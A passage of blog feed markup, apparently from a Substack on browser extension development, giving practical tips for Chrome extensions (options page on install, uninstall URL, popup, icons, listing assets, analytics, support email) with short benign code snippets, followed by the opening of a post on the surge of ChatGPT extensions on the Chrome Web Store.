alt="Chrome Extension search results with description" title="Chrome Extension search results with description" srcset="https://substackcdn.com/image/fetch/$s_!xdcd!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F62ab98b5-c4f8-4f06-b1b0-f1ec9a363ad0_1498x442.webp 424w, https://substackcdn.com/image/fetch/$s_!xdcd!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F62ab98b5-c4f8-4f06-b1b0-f1ec9a363ad0_1498x442.webp 848w, https://substackcdn.com/image/fetch/$s_!xdcd!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F62ab98b5-c4f8-4f06-b1b0-f1ec9a363ad0_1498x442.webp 1272w, https://substackcdn.com/image/fetch/$s_!xdcd!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F62ab98b5-c4f8-4f06-b1b0-f1ec9a363ad0_1498x442.webp 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><em>The extension description appears as the subtitle in Chrome Web Store search results.</em></p><p><strong>3. A post-install action</strong></p><p>Right after a user installs your extension, what then? They need to be told what to do next. This is a perfect opportunity to kick them over to an extension-rendered page. There, you have a full extension-controlled webpage to welcome them, give instructions, and prompt for a signup or login.</p><p>The simplest way to accomplish this is to create an options page. Often, the options page will be used as a full single page application, allowing for routing. You can programmatically direct the user over to the options page after an INSTALL event:</p><pre><code><code>chrome.runtime.onInstalled.addListener((details) =&gt; {
  if (details.reason === chrome.runtime.OnInstalledReason.INSTALL) {     
    chrome.runtime.openOptionsPage();
  }
});</code></code></pre><p><strong>4. An uninstall URL</strong></p><p>After a user uninstalls your extension, that's it - your extension has no ability to send analytics events. However, you can direct them to a URL of your choice. The best use of this URL is to allow them to reach out or provide feedback. An easy way to take advantage of this is to link to Google Forms and collect anonymous feedback.</p><pre><code><code>chrome.runtime.setUninstallURL("https://buildingbrowserextensions.com");</code></code></pre><p><strong>5. A popup page</strong></p><p>Your extension gets a button in the browser toolbar no matter what, so you might as well make it do something. Users are accustomed to interacting with these extension toolbar buttons, so this is a good fallback location for placing instructions in case the user doesn't understand how the extension is supposed to work.</p><pre><code><code>{
  "action": {
    "default_popup": "popup.html"
  }
}</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!-GAj!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6b641f2f-a7fd-4ef2-a366-9a53e1ceed45_1766x1350.webp" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!-GAj!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6b641f2f-a7fd-4ef2-a366-9a53e1ceed45_1766x1350.webp 424w, https://substackcdn.com/image/fetch/$s_!-GAj!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6b641f2f-a7fd-4ef2-a366-9a53e1ceed45_1766x1350.webp 848w, https://substackcdn.com/image/fetch/$s_!-GAj!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6b641f2f-a7fd-4ef2-a366-9a53e1ceed45_1766x1350.webp 1272w, https://substackcdn.com/image/fetch/$s_!-GAj!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6b641f2f-a7fd-4ef2-a366-9a53e1ceed45_1766x1350.webp 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!-GAj!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6b641f2f-a7fd-4ef2-a366-9a53e1ceed45_1766x1350.webp" width="1456" height="1113" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/6b641f2f-a7fd-4ef2-a366-9a53e1ceed45_1766x1350.webp&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1113,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;Chrome Extension popup&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="Chrome Extension popup" title="Chrome Extension popup" srcset="https://substackcdn.com/image/fetch/$s_!-GAj!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6b641f2f-a7fd-4ef2-a366-9a53e1ceed45_1766x1350.webp 424w, https://substackcdn.com/image/fetch/$s_!-GAj!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6b641f2f-a7fd-4ef2-a366-9a53e1ceed45_1766x1350.webp 848w, https://substackcdn.com/image/fetch/$s_!-GAj!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6b641f2f-a7fd-4ef2-a366-9a53e1ceed45_1766x1350.webp 1272w, https://substackcdn.com/image/fetch/$s_!-GAj!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6b641f2f-a7fd-4ef2-a366-9a53e1ceed45_1766x1350.webp 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><em>Clicking the extension's toolbar button opens the popup page.</em></p><p><strong>6. A snazzy icon</strong></p><p>Sounds obvious, but a good icon makes all the difference. Chrome Web Store search results and the toobar button both greatly benefit from a great icon that looks good large and small. 16x16, 48x48, 64x64, and 128x128 are all you need.</p><pre><code><code>{
  "icons": {
    "16": "icons/codesearch_16x16.png",
    "48": "icons/codesearch_48x48.png",
    "64": "icons/codesearch_64x64.png",
    "128": "icons/codesearch_128x128.png"
  }
}</code></code></pre><p><strong>7. Screenshots and promo videos</strong></p><p>A handful of high-quality screenshots and a short YouTube promo video are an easy way to give the user an idea of what your extension does. A Chrome Web Store listing looks barren without them.</p><p>Screenshots should not be cluttered, and text within them should be large and easy to read. A subtitle overlay describing what a screenshot is showing is often helpful.</p><p><strong>8. A dedicated URL</strong></p><p>Acquiring a URL for your extension is a cheap and easy way to improve its appearance. Most URLs are less than $10/year, and you can have it redirect to a GitHub repository or some other makeshift homepage.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!xdcd!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F62ab98b5-c4f8-4f06-b1b0-f1ec9a363ad0_1498x442.webp" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!xdcd!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F62ab98b5-c4f8-4f06-b1b0-f1ec9a363ad0_1498x442.webp 424w, https://substackcdn.com/image/fetch/$s_!xdcd!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F62ab98b5-c4f8-4f06-b1b0-f1ec9a363ad0_1498x442.webp 848w, https://substackcdn.com/image/fetch/$s_!xdcd!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F62ab98b5-c4f8-4f06-b1b0-f1ec9a363ad0_1498x442.webp 1272w, https://substackcdn.com/image/fetch/$s_!xdcd!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F62ab98b5-c4f8-4f06-b1b0-f1ec9a363ad0_1498x442.webp 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!xdcd!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F62ab98b5-c4f8-4f06-b1b0-f1ec9a363ad0_1498x442.webp" width="1456" height="430" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/62ab98b5-c4f8-4f06-b1b0-f1ec9a363ad0_1498x442.webp&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:430,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;Chrome Extension search results with URL&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="Chrome Extension search results with URL" title="Chrome Extension search results with URL" srcset="https://substackcdn.com/image/fetch/$s_!xdcd!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F62ab98b5-c4f8-4f06-b1b0-f1ec9a363ad0_1498x442.webp 424w, https://substackcdn.com/image/fetch/$s_!xdcd!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F62ab98b5-c4f8-4f06-b1b0-f1ec9a363ad0_1498x442.webp 848w, https://substackcdn.com/image/fetch/$s_!xdcd!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F62ab98b5-c4f8-4f06-b1b0-f1ec9a363ad0_1498x442.webp 1272w, https://substackcdn.com/image/fetch/$s_!xdcd!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F62ab98b5-c4f8-4f06-b1b0-f1ec9a363ad0_1498x442.webp 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><em>Adding a URL for your extension greatly enhances the appearance of the search result.</em></p><p><strong>9. Analytics</strong></p><p>How are you supposed to know what happens after a user installs your extension? Analytics tools!</p><p>Sending analytics from a content script is a bad option. The host page's content security policy may block the scripts or outgoing requests, or adblockers might kill them. Analytics events will need to be dispatched from either a controlled extension page (popup, options, devtools) or the background script. One important advantage: <strong>Adblockers cannot block analytics requests sent from extension pages or background scripts!</strong> This means your extension analytics will have close to 100% accuracy.</p><p>Google Analytics and Amplitude are two good solutions, although they require some manual setup. Remember: in manifest v3, you cannot load remote scripts - they must be included with your extension!</p><ul><li><p><a href="https://analytics.google.com/">Google Analytics</a></p></li><li><p><a href="https://amplitude.com/">Amplitude</a></p></li></ul><p>Note: refer to the <a href="https://github.com/msfrisbie/demo-browser-extension">Example Chrome Extension</a> for a full demo of setting up Google Analytics.</p><p><strong>10. A support email</strong></p><p>No extension is perfect, and users will want a way to get in touch with you. Set up a free Gmail account for your extension, and include it both in the extension's listing as well as somewhere in the extension itself, such as the footer of the popup.</p><div><hr></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!blqs!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78fc9f95-e247-4960-91a4-1a3f42f731fb_2866x1396.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!blqs!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78fc9f95-e247-4960-91a4-1a3f42f731fb_2866x1396.png 424w, https://substackcdn.com/image/fetch/$s_!blqs!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78fc9f95-e247-4960-91a4-1a3f42f731fb_2866x1396.png 848w, https://substackcdn.com/image/fetch/$s_!blqs!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78fc9f95-e247-4960-91a4-1a3f42f731fb_2866x1396.png 1272w, https://substackcdn.com/image/fetch/$s_!blqs!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78fc9f95-e247-4960-91a4-1a3f42f731fb_2866x1396.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!blqs!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78fc9f95-e247-4960-91a4-1a3f42f731fb_2866x1396.png" width="1456" height="709" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/78fc9f95-e247-4960-91a4-1a3f42f731fb_2866x1396.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:709,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:603956,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!blqs!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78fc9f95-e247-4960-91a4-1a3f42f731fb_2866x1396.png 424w, https://substackcdn.com/image/fetch/$s_!blqs!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78fc9f95-e247-4960-91a4-1a3f42f731fb_2866x1396.png 848w, https://substackcdn.com/image/fetch/$s_!blqs!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78fc9f95-e247-4960-91a4-1a3f42f731fb_2866x1396.png 1272w, https://substackcdn.com/image/fetch/$s_!blqs!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78fc9f95-e247-4960-91a4-1a3f42f731fb_2866x1396.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://www.amazon.com/Building-Browser-Extensions-Create-Firefox/dp/148428724X/?maas=maas_adg_DD6BEC882C2389AFF44D0C6394CF29E8_afap_abs&amp;ref_=aa_maas&amp;tag=maas&quot;,&quot;text&quot;:&quot;GET IT NOW&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://www.amazon.com/Building-Browser-Extensions-Create-Firefox/dp/148428724X/?maas=maas_adg_DD6BEC882C2389AFF44D0C6394CF29E8_afap_abs&amp;ref_=aa_maas&amp;tag=maas"><span>GET IT NOW</span></a></p><p></p>]]></content:encoded></item><item><title><![CDATA[The Cambrian Explosion of ChatGPT Browser Extensions]]></title><description><![CDATA[A perfect pairing with browser extensions and OpenAI's permissive stance enabled a gold rush, and it feels like we've only just begun.]]></description><link>https://mattfrisbie.substack.com/p/cambrian-explosion-of-chatgpt-chrome-extensions</link><guid isPermaLink="false">https://mattfrisbie.substack.com/p/cambrian-explosion-of-chatgpt-chrome-extensions</guid><dc:creator><![CDATA[Matt Frisbie]]></dc:creator><pubDate>Thu, 05 Jan 2023 15:16:00 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!-Bcu!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F70e66b36-bb69-4e36-be6a-1bb2110af923_2312x1656.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>One month ago, there were zero results for "ChatGPT" on the Chrome Web Store. This morning, there were nearly 250, and I expect this number to triple in the coming month. This explosion of growth underscores the sheer utility of ChatGPT, and we have only just begun to explore its myriad applications as a layer on top of web browsers.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!-Bcu!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F70e66b36-bb69-4e36-be6a-1bb2110af923_2312x1656.webp" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!-Bcu!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F70e66b36-bb69-4e36-be6a-1bb2110af923_2312x1656.webp 424w, https://substackcdn.com/image/fetch/$s_!-Bcu!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F70e66b36-bb69-4e36-be6a-1bb2110af923_2312x1656.webp 848w, https://substackcdn.com/image/fetch/$s_!-Bcu!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F70e66b36-bb69-4e36-be6a-1bb2110af923_2312x1656.webp 1272w, https://substackcdn.com/image/fetch/$s_!-Bcu!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F70e66b36-bb69-4e36-be6a-1bb2110af923_2312x1656.webp 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!-Bcu!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F70e66b36-bb69-4e36-be6a-1bb2110af923_2312x1656.webp" width="1456" height="1043" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/70e66b36-bb69-4e36-be6a-1bb2110af923_2312x1656.webp&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1043,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;Chrome Web Store ChatGPT search results&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="Chrome Web Store ChatGPT search results" title="Chrome Web Store ChatGPT search results" srcset="https://substackcdn.com/image/fetch/$s_!-Bcu!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F70e66b36-bb69-4e36-be6a-1bb2110af923_2312x1656.webp 424w, https://substackcdn.com/image/fetch/$s_!-Bcu!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F70e66b36-bb69-4e36-be6a-1bb2110af923_2312x1656.webp 848w, https://substackcdn.com/image/fetch/$s_!-Bcu!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F70e66b36-bb69-4e36-be6a-1bb2110af923_2312x1656.webp 1272w, https://substackcdn.com/image/fetch/$s_!-Bcu!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F70e66b36-bb69-4e36-be6a-1bb2110af923_2312x1656.webp 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><em><a href="https://chrome.google.com/webstore/search/chatgpt">Chrome Web Store ChatGPT search results</a></em></p><p>ChatGPT is a variant of the GPT (Generative Pre-training Transformer) language model that has been fine-tuned for the task of conversation generation. It is designed to generate human-like responses to prompts given to it, and can be used for tasks such as chatbots and language translation. Large language models, such as GPT and ChatGPT, are neural network models that have been trained on very large datasets in order to learn the statistical patterns of language. They are able to generate coherent and natural-sounding text, and have a wide range of applications in natural language processing tasks.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!IdYJ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F84060d30-e6c6-40e8-b493-9cf01027dc6c_2128x1352.webp" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!IdYJ!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F84060d30-e6c6-40e8-b493-9cf01027dc6c_2128x1352.webp 424w, 